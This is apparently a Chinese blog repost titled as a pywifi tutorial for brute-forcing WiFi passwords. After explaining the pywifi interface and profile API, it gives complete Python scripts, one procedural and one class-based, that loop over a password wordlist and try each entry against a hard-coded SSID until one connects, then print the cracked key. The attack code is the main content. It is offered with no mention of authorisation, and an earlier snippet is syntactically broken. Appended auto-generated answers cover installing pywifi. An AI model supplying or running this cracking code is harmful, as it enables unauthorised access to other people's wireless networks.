python pywifi模块——暴力破解wifi

转载自:https://www.cnblogs.com/forforever/p/12398893.html#4664688

pywifi模块介绍:
pywifi提供了一个跨平台的Python模块,用于操作无线接口
支持Windows和Linux

下载安装模块:pip install pywifi  和pip install comtypes

简单尝试:

# f = open('wifi_password.txt','r')
# password = f.readline()
# while password:
#     print(password[:-1])
#     password = f.readline()
#

import pywifi
from pywifi import const    #获取连接状态的常量库
import time
# 抓取网卡接口
wifi = pywifi.PyWiFi()
# 获取第一个无线网卡
ifaces = wifi.interfaces()[0]
# 断开网卡连接
ifaces.disconnect()
time.sleep(1)
# 获取wifi的连接状态
wifistatus = ifaces.status()
# 网卡断开链接后开始连接测试
if wifistatus == const.IFACE_DISCONNECTED:
    # 创建wifi连接文件
    profile = pywifi.Profile()
    # 要连接的wifi的名称  貌似不能用中文?
    profile.ssid = '9168hfh'
    # 网卡的开放状态 | auth - AP的认证算法
    profile.auth = const.AUTH_ALG_OPEN
    # wifi的加密算法,一般wifi 加密算法时wps  #选择wifi加密方式  akm - AP的密钥管理类型
    profile.akm.append(const.AKM_TYPE_WPA2PSK)
    # 加密单元 /cipher - AP的密码类型
    profile.cipher = const.CIPHER_TYPE_CCMP
    # 调用密码 /wifi密钥 如果无密码,则应该设置此项CIPHER_TYPE_NONE
    profile.key = pwd
    # 删除所有连接过的wifi文件
    ifaces.remove_all_network_profiles()
    # 加载新的连接文件
    tep_profile = ifaces.add_network_profile(profile)
    ifaces.connect(tep_profile)
    # wifi连接时间
    time.sleep(2)
    if ifaces.status() == const.IFACE_CONNECTED:
        return True
    else:
        return False
else:
    print("已有wifi连接")

 

1.wifi接口的操作:

这里的接口指我们用来执行wifi操作(例如:扫描,连接,断开…)的接口

通常,我们平台中只有一个Wi-Fi接口,就像你主机不能同时连接多个wifi(骚操作就算了),因此,使用索引0来获得Wi-Fi接口

wifi = pywifi.PyWiFi()   #定义接口操作
iface = wifi.interfaces()[0]     #这里iface就是获取的wifi接口
#注意:以下的iface全部是指通过此方式获取的wifi接口,在实际操作中可以自己另外命名

接口名字:

print(iface)
iface.name()  #获取wifi接口名称
print(iface.name())

 

扫描wifi(AP):

iface.scan()  #触发接口扫描附近wifi(就是AP啦)

获取扫描结果:

iface.scan_result()   #获取先前触发扫描的结果,会返回一个列表哟

添加AP配置文件(为了连接):

iface.add_network_profile(配置文件名)  #下面会讲解如何进行配置

删除所有AP配置文件(为了下一次新的连接):

iface.remove_all_network_profiles()

返回配置文件列表:

iface.network_profiles()   #你连接上wifi的时候可以用这个试试,会返回你连接的wifi的信息

连接wifi:

iface.connect(配置文件名)  #通过给定的配置文件连接到指定的AP
#注意:添加AP配置文件add_network_profile(profile),应该在连接AP  iface.connect(profile)之前

断开AP连接:

iface.disconnect()  #断开当前的AP连接

要判断是否连接WiFi,我们需要导入一个常量库:

from pywifi import const
iface.status()

将返回以下状态码之一,这个库里面就显示了接口是否连接对于的常量:
const.IFACE_DISCONNECTED
const.IFACE_SCANNING
const.IFACE_INACTIVE
const.IFACE_CONNECTING
const.IFACE_CONNECTED

 

 2.配置文件:

生成配置文件对象:

profile=pywifi.Profile()    #生成对象而已,接下来就能对他进行配置操作了

配置文件的操作方式:

ssid - AP的名称  wifi的名称
auth - AP的认证算法
akm  - AP的密钥管理类型   wifi的加密算法,
cipher - AP的密码类型
key (optinoal) - AP的关键。如果无密码,则应该设置此项CIPHER_TYPE_NONE

*使用方式:

   profile.ssid='wifi_name'   #wifi名称
   profile.auth=const.AUTH_ALG_OPEN    #auth - AP的认证算法
   profile.akm.append(const.AKM_TYPE_WPA2PSK) #选择wifi加密方式
   profile.cipher=const.CIPHER_TYPE_CCMP  #cipher - AP的密码类型
   profile.key=password  #wifi密钥   key (optinoal) - AP的关键。如果无密码,则应该设置此项CIPHER_TYPE_NONE

必要的说明:
auth - AP的认证算法:
也是身份验证的算法,其实,几乎所有AP都使用开放算法,尽管我们可以有以下设置

const.AUTH_ALG_OPEN
const.AUTH_ALG_SHARED

akm - AP的密钥管理类型:

const.AKM_TYPE_NONE   #AP没有安全设置
const.AKM_TYPE_WPAPSK  #AP处于WPA模式
const.AKM_TYPE_WPA2PSK   #AP处于WPA2模式

AKM_TYPE_WPA和AKM_TYPE_WPA2针对企业的AP(这里就不解释了):
const.AKM_TYPE_WPA
const.AKM_TYPE_WPA2

cipher - AP的密码类型:

const.CIPHER_TYPE_NONE  #如果AP没有安全设置,则应将密码类型设置为ProfileAKM_TYPE_NONE
const.CIPHER_TYPE_WEP
const.CIPHER_TYPE_TKIP
const.CIPHER_TYPE_CCMP  #通常情况下设置为这个,虽然不知道是什么

接下来就要灵活使用上面的操作了(针对中文wifi名无法破解)

import pywifi
from pywifi import const    #获取连接状态的常量库
import time

# 测试链接,返回连接结果
def wifiConnect(ifaces,pwd):

    # 断开网卡连接
    ifaces.disconnect()
    time.sleep(1)
    # 获取wifi的连接状态
    wifistatus = ifaces.status()
    # 网卡断开链接后开始连接测试
    if wifistatus == const.IFACE_DISCONNECTED:
        # 创建wifi连接文件
        profile =  pywifi.Profile()
        # 要连接的wifi的名称  貌似不能用中文?
        profile.ssid = '9168hfh'
        # 网卡的开放状态 | auth - AP的认证算法
        profile.auth = const.AUTH_ALG_OPEN
        # wifi的加密算法,一般wifi 加密算法时wps  #选择wifi加密方式  akm - AP的密钥管理类型
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        # 加密单元 /cipher - AP的密码类型
        profile.cipher = const.CIPHER_TYPE_CCMP
        # 调用密码 /wifi密钥 如果无密码,则应该设置此项CIPHER_TYPE_NONE
        profile.key = pwd
        # 删除所有连接过的wifi文件
        ifaces.remove_all_network_profiles()
        # 加载新的连接文件
        tep_profile = ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        # wifi连接时间
        time.sleep(2)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print("已有wifi连接")

# 读取密码本
def readPassword():
    print("开始破解:")
    # 密码本路径
    path ="wifi_password.txt"
    # 打开文件
    f = open(path,"r")
    while True:
        try:
            # 一行一行读取
            password = f.readline()
            password = password[:-1]  # 去除一行末的换行符
            bool = wifiConnect(ifaces,password)
            if bool:
                print("密码已破解:",password)
                print("wifi已连接!")
                ifaces.network_profiles()  # 你连接上wifi的时候可以用这个试试,会返回你连接的wifi的信息
                break
            else:
                print("密码破解中,密码校对:",password)
            if not password:
                print('文件已读取完,退出。')
                f.close()
                break
        except:
            # continue
            print("error")

if __name__ == '__main__':

    # 抓取网卡接口
    wifi = pywifi.PyWiFi()
    # 获取第一个无线网卡
    ifaces = wifi.interfaces()[0]
    # print(ifaces)
    # 获取电脑无线网卡的名称
    # print(ifaces.name())
    readPassword()

 

 

类方法实现

# coding:utf-8
import time  #时间
import pywifi  #破解wifi
from pywifi import const  #引用一些定义
from asyncio.tasks import sleep
class PoJie():
    def __init__(self,path):
        self.file=open(path,"r",errors="ignore")
        wifi = pywifi.PyWiFi() #抓取网卡接口
        self.iface = wifi.interfaces()[0]#抓取第一个无限网卡
        self.iface.disconnect() #测试链接断开所有链接
 
        time.sleep(1) #休眠1秒
 
        #测试网卡是否属于断开状态,
        assert self.iface.status() in\
            [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
 
    def readPassWord(self):
            print("开始破解:")
            while True:
 
                try:
                    myStr =self.file.readline()
                    if not myStr:
                        break
                    bool1=self.test_connect(myStr)
                    if bool1:
                        print("密码正确:",myStr)
                        break
                    else:
                        print("密码错误:"+myStr)
                    sleep(3)
                except:
                    continue
 
    def test_connect(self,findStr):#测试链接
 
        profile = pywifi.Profile()  #创建wifi链接文件
        profile.ssid ="e2" #wifi名称
        profile.auth = const.AUTH_ALG_OPEN  #网卡的开放,
        profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
        profile.cipher = const.CIPHER_TYPE_CCMP    #加密单元
        profile.key = findStr #密码
 
        self.iface.remove_all_network_profiles() #删除所有的wifi文件
        tmp_profile = self.iface.add_network_profile(profile)#设定新的链接文件
        self.iface.connect(tmp_profile)#链接
        time.sleep(5)
        if self.iface.status() == const.IFACE_CONNECTED:  #判断是否连接上
            isOK=True   
        else:
            isOK=False
        self.iface.disconnect() #断开
        time.sleep(1)
        #检查断开状态
        assert self.iface.status() in\
            [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
 
        return isOK
 
 
    def __del__(self):
        self.file.close()
 
path=r"C:\Users\Administrator\Desktop\csdnwifi.txt"
start=PoJie(path)
start.readPassWord()

const.CIPHER_TYPE_NONE  #如果AP没有安全设置,则应将密码类型设置为ProfileAKM_TYPE_NONEconst.CIPHER_TYPE_WEPconst.CIPHER_TYPE_TKIPconst.CIPHER_TYPE_CCMP  #通常情况下设置为这个

好文章,我 在看❤

### 回答1: 要安装pywifi模块,可以按照以下步骤进行操作: 1. 打开命令行界面(Windows用户可以按下Win+R键,输入cmd并回车;Mac用户可以打开终端应用程序)。 2. 输入以下命令安装pip工具: ``` python get-pip.py ``` 3. 输入以下命令安装pywifi模块: ``` pip install pywifi ``` 4. 等待安装完成后,就可以在Python中使用pywifi模块了。 注意:在安装pywifi模块之前,需要确保已经安装了Python环境。如果没有安装Python环境,可以从官网下载安装包进行安装。 ### 回答2: 在安装 Pywifi 模块之前,需要确保在操作系统中已安装 Python 环境,否则需要先从官网进行下载及安装。 安装 Pywifi 有两种方法,一种是使用 pip 安装,另一种是手动下载源码进行安装。 1. 使用 pip 安装 Pywifi pip 是 Python 的包管理工具,利用它可以在命令行中一行代码便可安装 Pywifi 模块。 先打开终端,输入以下命令: ``` pip install pywifi ``` 如果是在 Linux 下使用,可能需要使用管理员权限安装,可以使用以下命令: ``` sudo pip install pywifi ``` 安装完成后即可在 Python 中调用 Pywifi 模块。 2. 手动下载源码安装 PywifiPywifi 的 GitHub 页面,可以手动下载最新的源码压缩包。下载完成后解压,进入文件夹: ``` cd pywifi-master ``` 使用 Python 自带的 setup.py 进行安装: ``` python setup.py install ``` 这个过程可能需要几分钟,安装完成后也就可调用 Pywifi 模块了。 这两种方法无论哪一种都可以方便快捷地安装 Pywifi 模块。 ### 回答3: Pywifi是一个用于管理无线网络的Python模块。在使用pywifi之前,您需要先安装它。下面是安装pywifi模块的步骤: 1. 安装Python环境:在安装Python之前,您需要先确保您的电脑上已安装Python环境。如果您还没有安装Python环境,可以从官方网站https://www.python.org/downloads/下载Python,并按照提示完成安装。 2. 安装pywifi模块:安装pywifi模块有两种方法,一种是通过pip安装,另一种是手动下载安装。 (1)通过pip安装pywifi模块:打开终端(Windows用户按下Win+R键,输入cmd回车,Mac用户按下Command+空格键,输入terminal),然后输入命令:pip install pywifi,回车即可。 (2)手动下载安装pywifi模块:打开https://github.com/awkman/pywifi 下载pywifi的源码。下载后解压源码文件,进入该文件夹,使用命令python setup.py install进行安装。 3. 检查pywifi模块是否成功安装:使用pip list或者import pywifi命令检查pywifi是否已经被正确安装。如果您的机器正常执行相应命令,则说明pywifi模块已经被成功安装。 总之,如果您希望使用pywifi模块操纵无线网络接口,首先必须安装其Python模块。您可以选择自动安装pywifi模块(使用pip命令)或者手动下载,然后解压并手动安装其Python库。安装完成后,您就可以在Python脚本中使用pywifi模块来操纵无线网络接口了。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值